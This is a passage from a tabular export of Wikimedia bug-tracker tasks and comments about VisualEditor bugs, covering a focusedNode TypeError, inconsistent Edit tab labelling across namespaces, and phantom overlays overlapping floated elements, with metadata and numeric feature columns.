Did you experience this on any other article?",,,1374463011,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hoazjhp6o63s5rrky5qa,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,22.0,3.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,14.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7567567567567566,0.8918918918918919,"I couldn't reproduce on Firefox or Chrome, Linux or Windows.  The article hasnt changed since the bug was raised.
URL

Did you experience this on any other article?"
52406,"VisualEditor: ""TypeError: focusedNode is null"" thrown when applying a link to a template","Creating a template entry, marking it and click on ""Link"" button results in following error (twice in a row):

TypeError: focusedNode is null
https://bits.wikimedia.org/static-1.22wmf9/extensions/VisualEditor/modules/ve/ui/ve.ui.Context.js
Line 260

VE is in a bad state after this cannot access template edit at all after this.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372462920,1384202462.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-5wuwyofe6l5k2cmqjzad,task_description,declined,True,c1,2,False,False,False,-1,,1.0,0.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,11.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,10.0,6.0,0.0,3.0,0.0,1.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.736111111111111,0.6805555555555556,"Creating a template entry, marking it and click on ""Link"" button results in following error (twice in a row):

TypeError: focusedNode is null
URL
Line 260

VE is in a bad state after this cannot access template edit at all after this.

--------------------------
**Version**: unspecified
**Severity**: normal"
237272,"VisualEditor: ""TypeError: focusedNode is null"" thrown when applying a link to a template","Changing the status to Resolved -Worksforme.
If you still experience the error , please reopen the bug.",,,1384202462,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5wuwyofe6l5k2cmqjzad,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.4,0.85,"Changing the status to Resolved -Worksforme.
If you still experience the error , please reopen the bug."
237263,"VisualEditor: ""TypeError: focusedNode is null"" thrown when applying a link to a template","Not getting this error now in FireFox 20 and Chrome Version 26.0.1410.65 using MAC OS X 10.8.5.

Right now clicking on ""Link"" button while selecting a template adds the link to the left of the template and can access  template edit after that.",,,1384202215,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-5wuwyofe6l5k2cmqjzad,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,18.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,4.122448979591836,0.8367346938775511,"Not getting this error now in FireFox 20 and Chrome Version 26.0.1410.65 using MAC OS X 10.8.5.

Right now clicking on ""Link"" button while selecting a template adds the link to the left of the template and can access  template edit after that."
52402,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","When VE is active on a page it inserts its own ""edit"" tab (veaction=edit) and renames the legacy edit tab (action=edit) to ""Edit source"".

Since VE is not active on all pages though the ""edit"" tab's functionality is inconsistent across pages (sometimes opening VE, sometimes opening the Wikitext editor).

VE should rename the legacy edit tab to ""Edit source"" on *every* page (even if it is not active and therefore not inserting it's own ""edit"" link so the button's functionality keeps consistent across pages.


This was also discussed on http://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#Change_the_.22Edit.22_tab_to_.22Edit_source.22_in_all_namespaces.
Please note (as discussed in the linked section) that renaming the legacy edit tab globally by simply changing the existing interface message is *not* an option. People not using the visual editor should not see ""edit source"" by default but should continue to see the same text that was always there.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50424",Medium,50.0,1372459800,1375423094.0,PHID-USER-v3yn5qf233ggnnnmvejc,False,,False,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_description,resolved,True,c1,2,False,False,True,-1,,0.6666666666666666,0.0,0.0,0.3333333333333333,2.3333333333333335,4.333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,0.0,1.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,3.0,1.6666666666666667,1.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,13.666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,2.6666666666666665,7.0,1.6666666666666667,1.0,5.666666666666667,0.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,1.3333333333333333,6.0,3.0,0.0,4.333333333333333,0.0,1.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,2.6666666666666665,0.0,0.0,0.0,3.7778672032193157,0.6543259557344064,"When VE is active on a page it inserts its own ""edit"" tab (veaction=edit) and renames the legacy edit tab (action=edit) to ""Edit source"".

Since VE is not active on all pages though the ""edit"" tab's functionality is inconsistent across pages (sometimes opening VE, sometimes opening the Wikitext editor).

VE should rename the legacy edit tab to ""Edit source"" on *every* page (even if it is not active and therefore not inserting it's own ""edit"" link so the button's functionality keeps consistent across pages.


This was also discussed on URL
Please note (as discussed in the linked section) that renaming the legacy edit tab globally by simply changing the existing interface message is *not* an option. People not using the visual editor should not see ""edit source"" by default but should continue to see the same text that was always there.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
237068,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)",Now fixed and deployed.,,,1375423094,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Now fixed and deployed.
237063,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","Change 77165 had a related patch set uploaded by Catrope:
Move edit tab generation into PHP and make it more configurable

https://gerrit.wikimedia.org/r/77165",,,1375414255,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.56,1.0,"Change 77165 had a related patch set uploaded by Catrope:
Move edit tab generation into PHP and make it more configurable

GERRIT_URL"
237059,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","Changing CSS id tags doesn't seem like all that much of a programming challenge, but it would enable all language Wikipedias to deal with this problem of inconsistent names appearing on ""edit"" tabs. So the payoff here, per hour of programming time, is really large. This isn't in any way a controversial change (it's invisible, directly, to users); it would be great if someone would deal with it and we could make progress in reducing user confusion.",,,1375284716,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,False,,,4,,4.0,1.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,4.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,17.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,14.0,3.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.9893617021276597,0.7553191489361702,"Changing CSS id tags doesn't seem like all that much of a programming challenge, but it would enable all language Wikipedias to deal with this problem of inconsistent names appearing on ""edit"" tabs. So the payoff here, per hour of programming time, is really large. This isn't in any way a controversial change (it's invisible, directly, to users); it would be great if someone would deal with it and we could make progress in reducing user confusion."
237054,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","(In reply to comment #3)
> I'm think the following request by English Wikipedia user Reaper Eternal is
> relevant to this bug (sorry if it isn't).

Yes, that would get fixed by us doing this.",,,1374262304,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.875,0.9166666666666666,"(In reply to comment #3)
QUOTE
QUOTE

Yes, that would get fixed by us doing this."
237049,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","(In reply to comment #3)

Reaper Eternal's proposal is an excellent solution to the issue of what the ""Edit source"" tab should be named, and partly addresses whether ""Edit"" should be ""Edit source"" even when VE is not available (and thus there is one edit tab, not two). His proposal is a good solution because it then allows individual editors to alter these labels (I  would prefer ""VE"" rather than ""Edit"", and ""Wikitext"" rather than ""Edit source"",for example) via their own CSS, while leaving the defaults as is for newer editors. 

> I'm think the following request by English Wikipedia user Reaper Eternal is
> relevant to this bug (sorry if it isn't).
> 
> ""Currently, on articles and userpages, editing using the VisualEditor uses
> the
> #ca-edit CSS id and editing the source uses the #ca-editsource CSS id.
> However,
> in all other namespaces, #ca-edit is the only edit link. For people like me
> who
> like to change the titling or styling of the tabs, this inconsistency is
> annoying. (For me, it makes the ""edit"" tab on this page display as ""VE""
> rather
> than ""Source"".) Could the CSS id tags be made consistent (use #ca-editsource
> for all non-VE editing)? Thanks.""",,,1374250805,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.5,1.0,3.5,2.0,0.5,0.0,0.0,3.0,0.0,0.0,0.5,0.5,0.5,0.0,5.0,7.5,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,0.5,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,3.5,17.5,2.0,1.5,3.5,0.0,0.0,0.0,0.5,3.0,0.0,1.5,0.0,2.5,7.5,14.5,0.0,7.5,0.0,2.5,0.0,1.0,1.0,0.0,0.5,0.5,0.0,0.0,3.5675675675675675,0.6013513513513513,"(In reply to comment #3)

Reaper Eternal's proposal is an excellent solution to the issue of what the ""Edit source"" tab should be named, and partly addresses whether ""Edit"" should be ""Edit source"" even when VE is not available (and thus there is one edit tab, not two). His proposal is a good solution because it then allows individual editors to alter these labels (I  would prefer ""VE"" rather than ""Edit"", and ""Wikitext"" rather than ""Edit source"",for example) via their own CSS, while leaving the defaults as is for newer editors. 

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
237044,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","I'm think the following request by English Wikipedia user Reaper Eternal is relevant to this bug (sorry if it isn't).

""Currently, on articles and userpages, editing using the VisualEditor uses the #ca-edit CSS id and editing the source uses the #ca-editsource CSS id. However, in all other namespaces, #ca-edit is the only edit link. For people like me who like to change the titling or styling of the tabs, this inconsistency is annoying. (For me, it makes the ""edit"" tab on this page display as ""VE"" rather than ""Source"".) Could the CSS id tags be made consistent (use #ca-editsource for all non-VE editing)? Thanks.""",,,1374250111,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,0.5,0.5,5.5,1.5,0.0,0.0,0.5,2.5,1.0,0.0,0.5,0.0,3.5,0.0,2.0,8.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,5.5,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,10.5,0.5,1.5,8.5,0.0,0.0,0.0,2.0,3.0,0.5,0.0,0.0,3.5,8.5,7.5,0.5,5.0,0.0,3.5,0.0,0.5,0.0,1.5,1.5,0.0,0.0,0.0,3.453333333333333,0.7066666666666667,"I'm think the following request by English Wikipedia user Reaper Eternal is relevant to this bug (sorry if it isn't).

""Currently, on articles and userpages, editing using the VisualEditor uses the #ca-edit CSS id and editing the source uses the #ca-editsource CSS id. However, in all other namespaces, #ca-edit is the only edit link. For people like me who like to change the titling or styling of the tabs, this inconsistency is annoying. (For me, it makes the ""edit"" tab on this page display as ""VE"" rather than ""Source"".) Could the CSS id tags be made consistent (use #ca-editsource for all non-VE editing)? Thanks."""
237037,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","I agree that relabelling it immediately for all MediaWiki installations is a poor choice, as (a) some people, (b) some WMF wikis, and (c) almost all MediaWiki wikis not hosted by WMF do not have VisualEditor enabled at this point.

When VisualEditor is on for everyone, labelling the tab ""edit source"" (even when ""edit"", i.e. VisualEditor, is not available) seems like the best solution for our cluster. (If we wanted to, we could over-ride the value of the ""edit"" tab with a message from the Wikimedia-Messages system to do a WMF-specific over-ride of the MediaWiki default.) However, fixing this before (b) is fixed, let alone whilst (a) is fixed, feels like the wrong way to do this.

A shorter-term fix is indeed to re-label ""edit"" to ""edit source"" for all pages visited by all users with VisualEditor. Maybe we could do that. Thoughts, Timo?",,,1372583668,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,2,True,,,-1,,3.0,0.5,0.0,1.0,1.5,3.5,2.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,2.5,0.5,6.0,13.5,0.5,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.5,0.5,0.5,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,13.5,1.5,1.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,1.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,5.5,3.0,10.0,2.5,0.5,10.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,13.5,7.5,0.5,5.0,0.0,3.0,0.0,1.0,2.0,0.0,1.5,0.5,0.5,2.0,3.525,0.64,"I agree that relabelling it immediately for all MediaWiki installations is a poor choice, as (a) some people, (b) some WMF wikis, and (c) almost all MediaWiki wikis not hosted by WMF do not have VisualEditor enabled at this point.

When VisualEditor is on for everyone, labelling the tab ""edit source"" (even when ""edit"", i.e. VisualEditor, is not available) seems like the best solution for our cluster. (If we wanted to, we could over-ride the value of the ""edit"" tab with a message from the Wikimedia-Messages system to do a WMF-specific over-ride of the MediaWiki default.) However, fixing this before (b) is fixed, let alone whilst (a) is fixed, feels like the wrong way to do this.

A shorter-term fix is indeed to re-label ""edit"" to ""edit source"" for all pages visited by all users with VisualEditor. Maybe we could do that. Thoughts, Timo?"
237033,"VisualEditor: Behaviour of default ""Edit"" tab should not vary by namespace (action=edit vs. veaction=edit)","I initially suggested updating the wording from ""Edit"" to ""Edit source"" at that VPT thread, and at https://en.wikipedia.org/wiki/MediaWiki_talk:Edit and at https://en.wikipedia.org/wiki/MediaWiki_talk:Vector-view-edit

There are some good (and some not so good) suggestions and comments in the VPT thread. 

Consistency would be ideal, and Eduard's suggestion above, seems to make the most sense.",,,1372471069,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-dwxii5uaohcgrtbsiwxl,task_subcomment,,True,c1,2,False,,,-1,,3.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,3.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,15.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,11.0,9.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.7384615384615385,0.6615384615384615,"I initially suggested updating the wording from ""Edit"" to ""Edit source"" at that VPT thread, and at URL and at URL

There are some good (and some not so good) suggestions and comments in the VPT thread. 

Consistency would be ideal, and Eduard's suggestion above, seems to make the most sense."
52395,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,"Try editing the professional ratings template in https://en.wikipedia.org/wiki/All_6%27s_and_7%27s?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50551
https://bugzilla.wikimedia.org/show_bug.cgi?id=50910
https://bugzilla.wikimedia.org/show_bug.cgi?id=51708",Medium,50.0,1372453440,1554826913.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_description,duplicate,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.55,0.475,"Try editing the professional ratings template in URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL"
236683,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,"This issue also occurs for the following case:

1.Add an image
2.Add a gallery 
3.Change the position of the image to the left 
4.Select the gallery
5.Try to select the image 

Observed Result:
Since the width of the phantom for the gallery is 100% , it is overlapping with the image and it becomes difficult to select the image after that.",,,1396302080,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,14.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,6.0,1.0,1.0,21.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.9444444444444446,0.5972222222222222,"This issue also occurs for the following case:

1.Add an image
2.Add a gallery 
3.Change the position of the image to the left 
4.Select the gallery
5.Try to select the image 

Observed Result:
Since the width of the phantom for the gallery is 100% , it is overlapping with the image and it becomes difficult to select the image after that."
236678,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,*** Bug 51048 has been marked as a duplicate of this bug. ***,,,1385381652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51048 has been marked as a duplicate of this bug. ***
236675,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,*** Bug 50443 has been marked as a duplicate of this bug. ***,,,1377830806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50443 has been marked as a duplicate of this bug. ***
236669,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,*** Bug 50211 has been marked as a duplicate of this bug. ***,,,1373164008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50211 has been marked as a duplicate of this bug. ***
236662,VisualEditor: Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it,"Changed title to ""Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it""; looks like the phantom is generated to be as wide as its target ""should"" be, before the floats come into play. This can make it impossible to edit the floated item.",,,1372456631,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2r6x4q4bt3fqtg3es4ps,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,8.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,7.0,5.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,7.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8524590163934427,0.7377049180327869,"Changed title to ""Phantoms can be width:100% when the object they're meant to cover has a floated element alongside it""; looks like the phantom is generated to be as wide as its target ""should"" be, before the floats come into play. This can make it 